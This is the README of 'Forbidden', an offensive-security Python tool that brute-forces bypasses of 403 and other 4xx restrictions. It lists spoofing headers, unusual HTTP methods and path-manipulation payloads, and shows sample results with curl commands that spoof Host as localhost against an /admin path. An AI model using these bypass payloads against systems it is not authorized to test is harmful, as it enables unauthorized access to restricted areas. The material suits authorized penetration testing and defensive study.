Bypass 4xx HTTP response status codes.

Related tags

Security related resourcespythonsecuritybypassoffensive-securityethical-hacking403
Overview

Forbidden

Bypass 4xx HTTP response status codes.

To see all the test cases, check the source code - follow the NOTE comments.

Script uses multithreading, and is based on brute forcing so might have some false positives. Script uses colored output.

Extend this script to your liking.

Tested on Kali Linux v2021.4 (64-bit).

Made for educational purposes. I hope it will help!

Future plans:

  • file uploads with HTTP PUT,
  • cross-site tracing (XST),
  • basic authentication.

Table of Contents

How to Run

Open your preferred console from /src/ and run the commands shown below.

Install required packages:

pip3 install -r requirements.txt

Run the script:

python3 forbidden.py

Download a user agent list from here.

Parsed URL Format

To see all the default values used in the script, check the source code - follow the NOTE comments.

{
	"urls": [
		"http://example.com/admin",
		"http://ᴱxᴬᴹᴾᴸᴱ.cᴼᴹ/ᴬᴰᴹᴵᴺ"
	],
	"scheme_domains": [
		"http://example.com",
		"http://ᴱxᴬᴹᴾᴸᴱ.cᴼᴹ"
	],
	"domains": [
		"example.com",
		"ᴱxᴬᴹᴾᴸᴱ.cᴼᴹ"
	],
	"paths": [
		"admin",
		"/admin",
		"admin/",
		"/admin/",
		"ᴬᴰᴹᴵᴺ",
		"/ᴬᴰᴹᴵᴺ",
		"ᴬᴰᴹᴵᴺ/",
		"/ᴬᴰᴹᴵᴺ/"
	],
	"all": [
		"http://example.com/admin",
		"http://ᴱxᴬᴹᴾᴸᴱ.cᴼᴹ/ᴬᴰᴹᴵᴺ",
		"http://example.com",
		"http://ᴱxᴬᴹᴾᴸᴱ.cᴼᴹ",
		"example.com",
		"ᴱxᴬᴹᴾᴸᴱ.cᴼᴹ",
		"admin",
		"/admin",
		"admin/",
		"/admin/",
		"ᴬᴰᴹᴵᴺ",
		"/ᴬᴰᴹᴵᴺ",
		"ᴬᴰᴹᴵᴺ/",
		"/ᴬᴰᴹᴵᴺ/"
	]
}

HTTP Headers

Client-IP
Cluster-Client-IP
Connection
Contact
Forwarded
Forwarded-For
Forwarded-For-Ip
From
Host
Origin
Referer
Stuff
True-Client-IP
X-Client-IP
X-Custom-IP-Authorization
X-Forward
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Server
X-Forward-For
X-Forwared-Host
X-Host
X-HTTP-Host-Override
X-Original-URL
X-Originating-IP
X-Override-URL
X-ProxyUser-IP
X-Real-IP
X-Remote-Addr
X-Remote-IP
X-Rewrite-URL
X-Wap-Profile
X-Server-IP
X-Target

HTTP Methods

ACL
ARBITRARY
BASELINE-CONTROL
BIND
CHECKIN
CHECKOUT
CONNECT
COPY
DELETE
GET
HEAD
INDEX
LABEL
LINK
LOCK
MERGE
MKACTIVITY
MKCALENDAR
MKCOL
MKREDIRECTREF
MKWORKSPACE
MOVE
OPTIONS
ORDERPATCH
PATCH
POST
PRI
PROPFIND
PROPPATCH
PUT
REBIND
REPORT
SEARCH
SHOWMETHOD
SPACEJUMP
TEXTSEARCH
TRACE
TRACK
UNBIND
UNCHECKOUT
UNLINK
UNLOCK
UPDATE
UPDATEREDIRECTREF
VERSION-CONTROL

URL Paths

/
//
/%2e
/%2e/
/.
/./
/..
/../
/;
/;/
/.;
/.;/
/..;
/..;/
%20
%20/
%09
%09/
;foo=bar;
/;foo=bar;
;foo=bar;/
/;foo=bar;/
~
~~
/~randomstring
#
##
/#randomstring
?
??
/?randomstring
/*
/**
/*randomstring
.jsp
.jspa
.jspx
.jhtml
.html
.sht
.shtml
.xhtml
.php
.asp
.aspx
.esp

Results Format

[
	{
		"id": 9,
		"url": "https://example.com/admin",
		"method": "GET",
		"headers": [
			"Host: localhost"
		],
		"agent": null,
		"command": "curl -i -s -m 3 --connect-timeout 3 -k -L --path-as-is -H 'Host: localhost' -X 'GET' 'https://example.com/admin'",
		"code": "302",
		"length": "142"
	},
	{
		"id": 49,
		"url": "https://example.com/admin",
		"method": "GET",
		"headers": [
			"Host: localhost:80"
		],
		"agent": null,
		"command": "curl -i -s -m 3 --connect-timeout 3 -k -L --path-as-is -H 'Host: localhost:80' -X 'GET' 'https://example.com/admin'",
		"code": "302",
		"length": "142"
	},
	{
		"id": 169,
		"url": "https://example.com/admin",
		"method": "GET",
		"headers": [
			"Host: 127.0.0.1"
		],
		"agent": null,
		"command": "curl -i -s -m 3 --connect-timeout 3 -k -L --path-as-is -H 'Host: 127.0.0.1' -X 'GET' 'https://example.com/admin'",
		"code": "302",
		"length": "142"
	},
	{
		"id": 209,
		"url": "https://example.com/admin",
		"method": "GET",
		"headers": [
			"Host: 127.0.0.1:80"
		],
		"agent": null,
		"command": "curl -i -s -m 3 --connect-timeout 3 -k -L --path-as-is -H 'Host: 127.0.0.1:80' -X 'GET' 'https://example.com/admin'",
		"code": "302",
		"length": "142"
	}
]

Images

Help

Figure 1 - Help

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    Reintroduced PycURL as it is less prone to exceptions and because Python Requests fixed their double header bug.

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Ivan Šincek
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